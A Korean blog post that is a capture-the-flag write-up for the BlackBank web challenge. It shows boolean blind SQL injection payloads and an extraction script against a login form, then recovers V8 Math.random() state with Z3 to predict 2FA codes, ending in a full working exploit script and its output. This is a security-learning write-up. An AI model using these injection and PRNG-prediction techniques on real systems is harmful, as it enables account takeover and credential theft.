Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

Midnight Flag CTF 2026 Quals

Midnight Flag CTF 2026 Quals

대회 일정

2026-03-14 05:00 ~ 2026-03-16 05:00

대회 후기

SKRL(SK 쉴더스 + RubiyaLab Expeditions) 연합 팀으로 Midnight Flag CTF에 참여하였고, Professional 최종 1위로 마무리하였습니다.

웹 문제는 총 3문제였고, 3문제 중 1개는 블랙박스 유형으로 출제되었습니다.

블랙박스 유형이었던 BlackBank 문제에 대해 Write-Up을 작성하였습니다.

Writeup

BlackBank

블랙박스 형태의 웹 문제로, 소스 코드가 제공되지 않았습니다. 처음 아래 계정 정보가 제공되었고, 은행 로그인(/bank/login)에 계정 정보 입력 시, 2FA 인증을 수행하게 되어 있었습니다.

ID: katarina   
PW: Kathax0r_sk1d0s   

bank, mail 서비스의 경우, 로그인이 정상적으로 수행될 경우 아래와 같이 리다이렉션이 발생합니다. 로그인 인증 또는 POST /bank/resend 요청마다 /mail/inbox에 새로운 8자리 2FA 코드가 생성됩니다.

  • POST /bank/login -> 302 /bank/2fa
  • POST /mail/login -> 302 /mail/inbox

1. 관리자 ID 확인

2FA 인증 번호는 메일(/mail/inbox) 페이지에 전달되어 로그인 인증을 수행하였습니다. 이후, /bank/profile 페이지에 다음과 같은 문구가 표시되어 있었습니다.

Vlad, t'as vu ? Le wallet SilkRoad2 est vulnérable !

23:45:12 👨 Vladizlow
Ouais je viens de checker. 5000 BTC en hot wallet... Une faille sur leur multisig.

23:46:30 👩 Katarina
J'ai déjà préparé les transactions. On passe quand ?

23:47:05 👨 Vladizlow
Check le code 2FA que je t'ai envoyé. On y va dans 30 minutes.

09:12:43 👩 Katarina 
Reçu. T'as pensé au mixer cette fois ? Pas envie de me faire choper comme la dernière fois 😅

09:13:22 👨 Vladizlow
J'ai 12 mixers différents configurés, 7 sauts, et des adresses stealth. Personne nous tracera.    

위 글을 통해, Vladizlow 계정으로 로그인 해야함을 알게 되어 관련 정보가 노출된 부분이 있는지 확인해보았습니다.

하지만, 민감한 파일 접근 또는 Vladizlow 계정에 관련된 정보가 노출된 부분이 전혀 존재하지 않았습니다.

2. Boolean Blind SQLi를 통한 로그인 정보 추출

그러던 중, 은행 로그인(/bank/login) API에서 password 필드에 ' OR 1=1 -- 입력 시, /bank/2fa로 302 리다이렉트되는 것을 확인하였습니다.

이를 통해 백엔드 쿼리 구조를 추정할 수 있었습니다.

SELECT id, username, password, emailUser
FROM users
WHERE username = '<input>' AND password = '<input>';

참/거짓 조건을 통해 한 글자씩 테이블 명을 추출하였습니다.

테이블 목록

  • users
  • sqlite_sequence
r_true = sqli("' or 1=1-- -")
r_false = sqli("' or 1=2-- -")
TRUE_LEN = len(r_true.text)
TRUE_STATUS = r_true.status_code

def is_true(r):
    return r.status_code == TRUE_STATUS and len(r.text) == TRUE_LEN

def sqli(payload):
    data = {"username": "katarina", "password": payload}
    r = s.post(LOGIN, data=data, allow_redirects=True)
    return r

def blind_extract(query, max_len=500):
    """Binary search로 한 글자씩 추출"""
    result = ""
    for i in range(1, max_len + 1):
        low, high = 32, 126
        found = False
        while low <= high:
            mid = (low + high) // 2
            # char == mid ?
            r = sqli(f"' or (unicode(substr(({query}),{i},1))={mid})-- -")
            if is_true(r):
                result += chr(mid)
                print(f"\r  -> {result}", end="", flush=True)
                found = True
                break
            # char > mid ?
            r = sqli(f"' or (unicode(substr(({query}),{i},1))>{mid})-- -")
            if is_true(r):
                low = mid + 1
            else:
                high = mid - 1
        if not found:
            break
    print()
    return result

tables = blind_extract("SELECT group_concat(name) FROM sqlite_master WHERE type='table'")
print(f"[+] Tables: {tables}")     

users 테이블 덤프 결과 다음과 같이 확인되었습니다.

추출된 계정 정보

| id | username | password             | emailUser |
|----|----------|----------------------|-----------|
| 1  | katarina | Kathax0r_sk1d0s      | katarina  |
| 2  | Vladizlow| xeAgQ8dJcc0hUVCm2EV9 | admin     |   

위 계정 정보로 /bank/login 계정 인증은 가능했지만, 2FA 인증 코드를 확인하는데 필요한 메일 로그인은 불가능했습니다.

은행 계정 (로그인 O): Vladizlow / xeAgQ8dJcc0hUVCm2EV9
메일 계정 (로그인 X): admin / xeAgQ8dJcc0hUVCm2EV9

2FA 인증 값을 저장하는 DB가 존재하는지 확인하기 위해 각 컬럼마다 추가 쿼리문을 삽입해보았으나, /bank/login에는 2FA 인증 코드 값을 저장하는 DB와 분리되어 있는 것으로 확인되어 2FA 코드를 예측해야 했습니다.

서비스의 경우, X-Powered-By: Express 응답 헤더를 통해 Node.js 환경임을 알 수 있었습니다.

환경 정보를 기반으로, @Celcious 팀원 분이 2FA 코드를 예측하는 코드를 작성하여 문제를 해결하였습니다.

3. V8 Math.random() PRNG 상태 복원

서버가 Express/Node 기반이며, 2FA 코드가 항상 0~99999999 범위의 정수인 점에서 생성 로직을 추정하였습니다.

Math.floor(Math.random() * 100000000)

V8의 Math.random()xorshift128+ PRNG를 사용하며, 충분한 출력값이 있으면 Z3 Solver를 이용하여 내부 상태를 역산할 수 있습니다.

xorshift128+ 상태 전이

def step_bv(state0, state1):
    x, y = state0, state1
    new_state0 = y
    x = x ^ ((x << 23) & MASK)
    x = x ^ LShR(x, 17)
    x = x ^ y ^ LShR(y, 26)
    return new_state0, x

8자리 코드에서 내부 상태 제약 조건 설정

def add_code_constraint(solver, state0, code):
    observed = LShR(state0, 11)
    low = (code * (1 << 53) + SCALE - 1) // SCALE
    high = ((code + 1) * (1 << 53) - 1) // SCALE
    solver.add(UGE(observed, BitVecVal(low, 64)))
    solver.add(ULE(observed, BitVecVal(high, 64)))

캐시 경계 문제

V8은 난수를 배치로 생성한 후 역순으로 소비합니다. 수집된 시퀀스가 캐시 경계를 넘으면 연속된 상태 전이로 모델링할 수 없어 unsat이 됩니다.

이를 해결하기 위해 수집된 코드의 suffix만 사용하여 단일 캐시 블록 내의 연속 구간을 탐색하였습니다.

def solve_suffix(observed_codes, min_suffix=18):
    for start in range(len(observed_codes)):
        suffix = observed_codes[start:]
        if len(suffix) < min_suffix:
            continue
        solver = Solver()
        solver.set(timeout=15000)
        state0 = BitVec("state0", 64)
        state1 = BitVec("state1", 64)
        cur0, cur1 = state0, state1
        for index, code in enumerate(reversed(suffix)):
            add_code_constraint(solver, cur0, code)
            if index != len(suffix) - 1:
                cur0, cur1 = step_bv(cur0, cur1)
        if solver.check() != sat:
            continue
        model = solver.model()
        return {
            "start": start,
            "suffix": suffix,
            "state0": model[state0].as_long(),
            "state1": model[state1].as_long(),
        }

5. Vladizlow 2FA 예측

V8 캐시가 역순으로 소비되므로, 다음 코드를 예측하려면 상태를 역방향으로 전이해야 합니다.

def prev_state(new_state0, new_state1):
    temp2 = new_state1 ^ new_state0 ^ (new_state0 >> 26)
    temp1 = inv_xor_right(temp2, 17)
    old_state0 = inv_xor_left(temp1, 23)
    return old_state0 & MASK, new_state0 & MASK

def predict_next_codes(state0, state1, count):
    codes = []
    cur0, cur1 = prev_state(state0, state1)
    for _ in range(count):
        codes.append(out_code(cur0))
        cur0, cur1 = prev_state(cur0, cur1)
    return codes

공격 방법

  1. /bank/login의 username 필드에서 Boolean Blind SQL Injection으로 katarina, Vladizlow 자격 증명 추출

  2. katarina 계정으로 bank, mail 서비스 로그인 후, POST /bank/resend를 반복하여 2FA 코드 수집

  3. Z3 Solver로 xorshift128+ 내부 상태 복원 (suffix index 33에서 sat 확인)

  4. 예측된 첫 번째 코드 25956256katarina resend로 검증 성공

  5. Vladizlow로 bank 로그인 후, 다음 예측 코드 88561443을 2FA에 제출 -> 302 /bank/profile

  6. /bank/profile에서 플래그 획득

Exploit Code

#!/usr/bin/env python3
import argparse
import re
import sys
import time

import requests
from z3 import BitVec, BitVecVal, LShR, Solver, UGE, ULE, sat


KATARINA_USER = "katarina"
KATARINA_PASS = "Kathax0r_sk1d0s"
VLAD_USER = "Vladizlow"
VLAD_PASS = "xeAgQ8dJcc0hUVCm2EV9"
MASK = (1 << 64) - 1
SCALE = 100000000


def bank_login(sess, base_url, username, password):
    return sess.post(
        f"{base_url}/bank/login",
        data={"username": username, "password": password},
        allow_redirects=False,
        timeout=10,
    )


def mail_login(sess, base_url, username, password):
    return sess.post(
        f"{base_url}/mail/login",
        data={"username": username, "password": password},
        allow_redirects=False,
        timeout=10,
    )


def bank_resend(sess, base_url):
    return sess.post(
        f"{base_url}/bank/resend",
        allow_redirects=False,
        timeout=10,
    )


def bank_2fa(sess, base_url, code):
    return sess.post(
        f"{base_url}/bank/2fa",
        data={"code": str(code)},
        allow_redirects=False,
        timeout=10,
    )


def bank_profile(sess, base_url):
    return sess.get(f"{base_url}/bank/profile", timeout=10)


def top_mail_code(sess, base_url):
    resp = sess.get(f"{base_url}/mail/inbox", timeout=10)
    match = re.search(r'message-code">[^0-9]*([0-9]{1,8})<', resp.text)
    if not match:
        raise RuntimeError("failed to parse top mail code")
    return int(match.group(1))


def wait_new_mail_code(sess, base_url, last_code, tries=20, delay=0.12):
    for _ in range(tries):
        current = top_mail_code(sess, base_url)
        if current != last_code:
            return current
        time.sleep(delay)
    raise RuntimeError("mailbox did not receive a new code in time")


def step_bv(state0, state1):
    x = state0
    y = state1
    new_state0 = y
    x = x ^ ((x << 23) & MASK)
    x = x ^ LShR(x, 17)
    x = x ^ y
    x = x ^ LShR(y, 26)
    new_state1 = x
    return new_state0, new_state1


def add_code_constraint(solver, state0, code):
    observed = LShR(state0, 11)
    low = (code * (1 << 53) + SCALE - 1) // SCALE
    high = (((code + 1) * (1 << 53) - 1) // SCALE)
    solver.add(UGE(observed, BitVecVal(low, 64)))
    solver.add(ULE(observed, BitVecVal(high, 64)))


def solve_suffix(observed_codes, min_suffix=18):
    for start in range(len(observed_codes)):
        suffix = observed_codes[start:]
        if len(suffix) < min_suffix:
            continue

        solver = Solver()
        solver.set(timeout=15000)

        state0 = BitVec("state0", 64)
        state1 = BitVec("state1", 64)
        cur0, cur1 = state0, state1

        for index, code in enumerate(reversed(suffix)):
            add_code_constraint(solver, cur0, code)
            if index != len(suffix) - 1:
                cur0, cur1 = step_bv(cur0, cur1)

        if solver.check() != sat:
            continue

        model = solver.model()
        return {
            "start": start,
            "suffix": suffix,
            "state0": model[state0].as_long(),
            "state1": model[state1].as_long(),
        }

    raise RuntimeError("no satisfiable suffix found")


def out_code(state0):
    return ((state0 >> 11) * SCALE) >> 53


def inv_xor_right(value, shift):
    result = value
    step = shift
    while step < 64:
        result ^= result >> step
        step *= 2
    return result & MASK


def inv_xor_left(value, shift):
    result = value
    step = shift
    while step < 64:
        result ^= (result << step) & MASK
        step *= 2
    return result & MASK


def prev_state(new_state0, new_state1):
    temp2 = new_state1 ^ new_state0 ^ (new_state0 >> 26)
    temp1 = inv_xor_right(temp2, 17)
    old_state0 = inv_xor_left(temp1, 23)
    old_state1 = new_state0
    return old_state0 & MASK, old_state1 & MASK


def predict_next_codes(state0, state1, count):
    codes = []
    cur0, cur1 = prev_state(state0, state1)
    for _ in range(count):
        codes.append(out_code(cur0))
        cur0, cur1 = prev_state(cur0, cur1)
    return codes


def collect_katarina_codes(base_url, count):
    bank = requests.Session()
    mail = requests.Session()

    bank_login(bank, base_url, KATARINA_USER, KATARINA_PASS)
    mail_login(mail, base_url, KATARINA_USER, KATARINA_PASS)

    last_code = top_mail_code(mail, base_url)
    observed = []

    for _ in range(count):
        bank_resend(bank, base_url)
        last_code = wait_new_mail_code(mail, base_url, last_code)
        observed.append(last_code)

    return bank, mail, observed, last_code


def try_flag(base_url, collect_count=50, validate=True):
    bank_kat, mail_kat, observed, last_code = collect_katarina_codes(base_url, collect_count)
    suffix = solve_suffix(observed)
    state0 = suffix["state0"]
    state1 = suffix["state1"]

    predicted = predict_next_codes(state0, state1, 3 if validate else 2)

    if validate:
        bank_resend(bank_kat, base_url)
        check_code = wait_new_mail_code(mail_kat, base_url, last_code)
        if check_code != predicted[0]:
            raise RuntimeError(
                f"predictor validation failed: expected {predicted[0]}, got {check_code}"
            )
        predicted = predicted[1:]

    bank_vlad = requests.Session()
    login_resp = bank_login(bank_vlad, base_url, VLAD_USER, VLAD_PASS)
    if login_resp.status_code != 302 or login_resp.headers.get("Location") != "/bank/2fa":
        raise RuntimeError("failed to open Vlad 2FA session")

    code = predicted[0]
    twofa_resp = bank_2fa(bank_vlad, base_url, code)
    profile_resp = bank_profile(bank_vlad, base_url)
    flag = re.search(r"MCTF\\{[^}]+\\}", profile_resp.text)

    return {
        "observed": observed,
        "suffix_start": suffix["start"],
        "predicted_vlad_code": code,
        "twofa_status": twofa_resp.status_code,
        "twofa_location": twofa_resp.headers.get("Location"),
        "profile_status": profile_resp.status_code,
        "flag": flag.group(0) if flag else None,
        "profile_preview": profile_resp.text[:1200],
    }


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("base_url", help="challenge base URL, e.g. http://dyn-02.midnightflag.fr:11368")
    parser.add_argument("--collect", type=int, default=50, help="number of katarina resend codes to collect")
    parser.add_argument(
        "--no-validate",
        action="store_true",
        help="skip the extra predictor validation resend",
    )
    args = parser.parse_args()

    base_url = args.base_url.rstrip("/")

    try:
        result = try_flag(base_url, collect_count=args.collect, validate=not args.no_validate)
    except Exception as exc:
        print(f"[!] {exc}", file=sys.stderr)
        raise

    print(f"[+] suffix_start={result['suffix_start']}")
    print(f"[+] predicted_vlad_code={result['predicted_vlad_code']}")
    print(f"[+] 2fa_submit={result['twofa_status']} {result['twofa_location']}")
    print(f"[+] profile_status={result['profile_status']}")
    if result["flag"]:
        print(result["flag"])
    else:
        print("[!] flag not found in profile preview", file=sys.stderr)
        print(result["profile_preview"])


if __name__ == "__main__":
    main()
[*] suffix index 33에서 sat 확인
[*] 예측 코드 #1: 25956256
[*] katarina resend 검증: 25956256 (일치)
[*] 예측 코드 #2: 88561443
[*] Vladizlow 2FA 제출: 302 /bank/profile
[*] Flag: MCTF{v8_1s_n0t_SEcur3_4t_4l7}

Flag

MCTF{v8_1s_n0t_SEcur3_4t_4l7}